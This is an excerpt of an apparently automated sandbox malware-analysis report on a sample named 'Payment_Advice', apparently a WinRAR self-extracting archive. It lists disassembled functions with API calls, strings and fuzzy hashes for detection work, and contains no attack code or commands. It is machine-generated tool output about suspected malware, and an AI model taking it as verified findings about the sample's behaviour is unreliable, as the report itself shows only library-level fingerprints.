LICENSEDLG, xrefs: 0051B5D4

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 54069ec4adc47e0e01afd8bd6b436d9bc4eca329539e9f1917c17026ff3d8bfe
Instruction ID: 0feab71eaa036a1ab7ff8b9b3bd560a36944a2e3a266fe585f10445dc4f2685b
Opcode Fuzzy Hash: 54069ec4adc47e0e01afd8bd6b436d9bc4eca329539e9f1917c17026ff3d8bfe
Instruction Fuzzy Hash: 5821F631204215BBF3115B69ED4EFBB3F6CFB66B55F010014F600961A0DBA2AE48F631

Uniqueness

Uniqueness Score: -1.00%

Function 0051FD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,8E9784F4,00000001,00000000,00000000,?,?,0050AF6C,ROOT\CIMV2), ref: 0051FD99
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,0050AF6C,ROOT\CIMV2), ref: 0051FE14
SysAllocString.OLEAUT32(00000000), ref: 0051FE1F
_com_issue_error.COMSUPP ref: 0051FE48
_com_issue_error.COMSUPP ref: 0051FE52
GetLastError.KERNEL32(80070057,8E9784F4,00000001,00000000,00000000,?,?,0050AF6C,ROOT\CIMV2), ref: 0051FE57
_com_issue_error.COMSUPP ref: 0051FE6A
GetLastError.KERNEL32(00000000,?,?,0050AF6C,ROOT\CIMV2), ref: 0051FE80
_com_issue_error.COMSUPP ref: 0051FE93

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 56b4bcb4575aa63d42be57fa903ff8bcf4f59d36c120e175b69609065898ea68
Instruction ID: ee52bdeb7b3fa32b17a71f44fe2f94b48920fb29c07b9333cbc9cb7272c5eaaa
Opcode Fuzzy Hash: 56b4bcb4575aa63d42be57fa903ff8bcf4f59d36c120e175b69609065898ea68
Instruction Fuzzy Hash: 2241B775A00215ABEB109F64D849BEEBFA8FB44710F104239F905E7291D7349984D7E5

Uniqueness

Uniqueness Score: -1.00%

Function 0050AF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0050AF29

Strings

WQL, xrefs: 0050AFDC
SELECT * FROM Win32_OperatingSystem, xrefs: 0050AFCA
Name, xrefs: 0050B0B0
Windows 10, xrefs: 0050B0C2
ROOT\CIMV2, xrefs: 0050AF5C

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: f542206f332b8aca56483f88fcf29ca42de530d361fb234aebf385cf0ebf0652
Instruction ID: 45fc588737409fa5eb011450ba84c43240cea54c6eb4294b342d617c1a6da9fb
Opcode Fuzzy Hash: f542206f332b8aca56483f88fcf29ca42de530d361fb234aebf385cf0ebf0652
Instruction Fuzzy Hash: D3717E75A0021AAFEB14DF64CC999AFBBB9FF48710B14055DF512E72A0CB306E45DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00509382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00509387
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 005093AA
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 005093C9

Part of subcall function 0050C29A: _wcslen.LIBCMT ref: 0050C2A2

Part of subcall function 00511FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0050C116,00000000,.exe,?,?,00000800,?,?,?,00518E3C), ref: 00511FD1

_swprintf.LIBCMT ref: 00509465

Part of subcall function 00504092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 005040A5

MoveFileW.KERNEL32(?,?), ref: 005094D4
MoveFileW.KERNEL32(?,?), ref: 00509514

Strings

rtmp%d, xrefs: 0050944E

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: ed96bc5c227149f5e19b36e140893de21cbe8523d1b04b98856c8e0a8f33a881
Instruction ID: daf3c493c96a14b4b17a55454c2c0e0d4dcfcdf38048389723015ba6cf26c370
Opcode Fuzzy Hash: ed96bc5c227149f5e19b36e140893de21cbe8523d1b04b98856c8e0a8f33a881
Instruction Fuzzy Hash: B74198B190025A66DF21EBA1CC49DDE7B7CBF81344F0048A5B649E3096DB388BC99B60

Uniqueness

Uniqueness Score: -1.00%

Function 00501100 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0050112B
_wcslen.LIBCMT ref: 00501153
_wcslen.LIBCMT ref: 00501182
_wcslen.LIBCMT ref: 005011A9

Strings

pQ, xrefs: 00501205, 00501233
UQ, xrefs: 0050120D, 0050123B
zQ, xrefs: 00501219

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen
String ID: UQ$pQ$zQ
API String ID: 176396367-1608347092
Opcode ID: c85ee76291f009886d6a09263ef4c0d83461f15d99de0128b8ada3f45e0a490a
Instruction ID: d8283f57c72757004424760ffce4a6a1d7f741cf0c9d3dbc088bacf55f39cc33
Opcode Fuzzy Hash: c85ee76291f009886d6a09263ef4c0d83461f15d99de0128b8ada3f45e0a490a
Instruction Fuzzy Hash: 9641C37190066A9BDB219F68CC0A9EF7FB8FF41310F000019FD45E7285DA74AE898BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00519ED5 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00519EEE
GetWindowRect.USER32(?,00000000), ref: 00519F44
ShowWindow.USER32(?,00000005,00000000), ref: 00519FDB
SetWindowTextW.USER32(?,00000000), ref: 00519FE3
ShowWindow.USER32(00000000,00000005), ref: 00519FF9

Strings

Q, xrefs: 00519F52, 00519F87
RarHtmlClassName, xrefs: 00519FA5

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Window$Show$RectText
String ID: Q$RarHtmlClassName
API String ID: 3937224194-4289036385
Opcode ID: a13040a592d3dd4037a64de0a652f6c6b69b4b15aef243451a8c3c58b82ab587
Instruction ID: 4022618b224e75c982edbc5e9ef95a281e1a81d3b8641e47c4781248a3df5bdf
Opcode Fuzzy Hash: a13040a592d3dd4037a64de0a652f6c6b69b4b15aef243451a8c3c58b82ab587
Instruction Fuzzy Hash: 3641E231404210AFEB229F68DC4CBABBFA8FF59711F004558F8499A052DB74EA89DF61

Uniqueness

Uniqueness Score: -1.00%

Function 00511218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0051122E

Part of subcall function 0050B146: GetVersionExW.KERNEL32(?), ref: 0050B16B

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 00511251
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 00511263
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00511274
SystemTimeToFileTime.KERNEL32(?,?), ref: 00511284
SystemTimeToFileTime.KERNEL32(?,?), ref: 00511294
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 005112CF
__aullrem.LIBCMT ref: 00511379

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: db603d39b6e8efb195d50581ccbd358a1d2a588fa45022188c6a506035829771
Instruction ID: fa5e2286fd8d8c204862f7d3814473df6c2b189fb0330ada100be996f0230008
Opcode Fuzzy Hash: db603d39b6e8efb195d50581ccbd358a1d2a588fa45022188c6a506035829771
Instruction Fuzzy Hash: 624107B1508305AFD710DF65C8849ABBBE9FB88314F008D2EF596C2210E738E649DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00502210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00502536

Part of subcall function 00504092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 005040A5

Part of subcall function 005105DA: _wcslen.LIBCMT ref: 005105E0

Strings

xc%u, xrefs: 0050275A
;%u, xrefs: 00502523
x%u, xrefs: 005026FD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: c4ad530ce98c8d122bdd6cf70726807b13e061a042b1133ba8f30b525f7f86bd
Instruction ID: 3a70f7c2d6f2b2edbcdb656bf33f58321ff1446e66d99c32d707fba4bc091328
Opcode Fuzzy Hash: c4ad530ce98c8d122bdd6cf70726807b13e061a042b1133ba8f30b525f7f86bd
Instruction Fuzzy Hash: D5F1E5706043419BDB25DB24C49EBEE7F997FD1300F084A6DED8A9B2C3CB649D498762

Uniqueness

Uniqueness Score: -1.00%

Function 00519CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00519D0A

Strings

</p>, xrefs: 00519DE8
<style>, xrefs: 00519E30
</style>, xrefs: 00519E52
>, xrefs: 00519D4B
<br>, xrefs: 00519DFE

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 21568996543fc41b39f067d1447778a8e078d3575e5ef6eb232f564513ae75f8
Instruction ID: 13c6efa31b4b880cd10cc0ea95a883fc78f4a5a564e5565b62af717c2561cea2
Opcode Fuzzy Hash: 21568996543fc41b39f067d1447778a8e078d3575e5ef6eb232f564513ae75f8
Instruction Fuzzy Hash: C9512D6A74032395FB349A15E8317F67BE4FFA1790F59091AF9C18B1C0FB658CC182A1

Uniqueness

Uniqueness Score: -1.00%

Function 0052F68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,0052FE02,00000000,00000000,00000000,00000000,00000000,0052529F), ref: 0052F6CF
__fassign.LIBCMT ref: 0052F74A
__fassign.LIBCMT ref: 0052F765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0052F78B
WriteFile.KERNEL32(?,00000000,00000000,0052FE02,00000000,?,?,?,?,?,?,?,?,?,0052FE02,00000000), ref: 0052F7AA
WriteFile.KERNEL32(?,00000000,00000001,0052FE02,00000000,?,?,?,?,?,?,?,?,?,0052FE02,00000000), ref: 0052F7E3

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: d0284fd9ce6b084448296a9281fef565d475d080b14f3c330da6e76060812302
Instruction ID: 2896ddabf01acd8d20f12603a89a1242f3812c26a88ecdc43d8b178f097a6a1c
Opcode Fuzzy Hash: d0284fd9ce6b084448296a9281fef565d475d080b14f3c330da6e76060812302
Instruction Fuzzy Hash: EB5191B1D002599FCB10CFA8E885AEEFFF4FF19300F14416AE555E7291E670AA45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00522900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00522937
___except_validate_context_record.LIBVCRUNTIME ref: 0052293F
_ValidateLocalCookies.LIBCMT ref: 005229C8
__IsNonwritableInCurrentImage.LIBCMT ref: 005229F3
_ValidateLocalCookies.LIBCMT ref: 00522A48

Strings

csm, xrefs: 005229DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 6bf01cf49affbc275962cb0b6af8ccd482d6cc88a37c87f28c7340d007f91d4c
Instruction ID: 4124639d62d3f3f482910be31ae905b5bb88302287f05a7deaf500561f985d4e
Opcode Fuzzy Hash: 6bf01cf49affbc275962cb0b6af8ccd482d6cc88a37c87f28c7340d007f91d4c
Instruction Fuzzy Hash: 2241B538A00229AFCF10DF28D885A9EBFE1BF46314F148055E8156B3D2D771DA85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00519955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0051995E
_wcslen.LIBCMT ref: 00519993

Strings

 , xrefs: 00519A21
<br>, xrefs: 005199DF
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00519987
, xrefs: 005199B0

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: a827f19a5cb8ddf34e7e9de6edb7a314a440395f6586f29cd7ef67c9c460b3b6
Instruction ID: 9a081db6e9e01c74fd63853f69d9df42e0c2d76cb9bd229a6e268b29ec4759ce
Opcode Fuzzy Hash: a827f19a5cb8ddf34e7e9de6edb7a314a440395f6586f29cd7ef67c9c460b3b6
Instruction Fuzzy Hash: F0315E3264434656FA30AF94AC56BF67BA4FF90720F60441EF482472C0FA64BEC983A1

Uniqueness

Uniqueness Score: -1.00%

Function 0052C8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0052C868: _free.LIBCMT ref: 0052C891

_free.LIBCMT ref: 0052C8F2

Part of subcall function 00528DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0052C896,?,00000000,?,00000000,?,0052C8BD,?,00000007,?,?,0052CCBA,?), ref: 00528DE2
Part of subcall function 00528DCC: GetLastError.KERNEL32(?,?,0052C896,?,00000000,?,00000000,?,0052C8BD,?,00000007,?,?,0052CCBA,?,?), ref: 00528DF4

_free.LIBCMT ref: 0052C8FD
_free.LIBCMT ref: 0052C908
_free.LIBCMT ref: 0052C95C
_free.LIBCMT ref: 0052C967
_free.LIBCMT ref: 0052C972
_free.LIBCMT ref: 0052C97D

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: 2d6e3112ca0682c3d95b44b3c215be18d2f01a1e7afcbdd61b0f8a855346d605
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: DE113072581726A6E520B7B1EC0BFDF7FACBF82B00F404C15B29D660E3DA65B5098B50

Uniqueness

Uniqueness Score: -1.00%

Function 0051E5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,0051E669,0051E5CC,0051E86D), ref: 0051E605
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 0051E61B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 0051E630

Strings

KERNEL32.DLL, xrefs: 0051E600
ReleaseSRWLockExclusive, xrefs: 0051E625
AcquireSRWLockExclusive, xrefs: 0051E615

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: d03f292f8818a63080e0b20e5fa920a8bfdb8ff547dfa74b9744795a544e3ec2
Instruction ID: 97c7be29a002a1ce706fee1f7a96f608b91470b61c2c511c43cc67db2209dd19
Opcode Fuzzy Hash: d03f292f8818a63080e0b20e5fa920a8bfdb8ff547dfa74b9744795a544e3ec2
Instruction Fuzzy Hash: C4F0AF317806229BBF214F686C8B9FA2EC87A357813440439DD05D3210FB508CD9AB94

Uniqueness

Uniqueness Score: -1.00%

Function 00528900 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0052891E

Part of subcall function 00528DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0052C896,?,00000000,?,00000000,?,0052C8BD,?,00000007,?,?,0052CCBA,?), ref: 00528DE2
Part of subcall function 00528DCC: GetLastError.KERNEL32(?,?,0052C896,?,00000000,?,00000000,?,0052C8BD,?,00000007,?,?,0052CCBA,?,?), ref: 00528DF4

_free.LIBCMT ref: 00528930
_free.LIBCMT ref: 00528943
_free.LIBCMT ref: 00528954
_free.LIBCMT ref: 00528965

Strings

pS, xrefs: 00528914

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: pS
API String ID: 776569668-3706138410
Opcode ID: 4dda546085469247b7abe76814152958ebcad4996b6eaf4e4387454d46381fc0
Instruction ID: 64c9f098493d2763d45590d19588eafea8983131cee881fd6d55b3ab0c2be58b
Opcode Fuzzy Hash: 4dda546085469247b7abe76814152958ebcad4996b6eaf4e4387454d46381fc0
Instruction Fuzzy Hash: 62F03A768129338B9A466F58FC064293FE5FB36710B000906F014933F5CFB9495DBB81

Uniqueness

Uniqueness Score: -1.00%

Function 0051146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

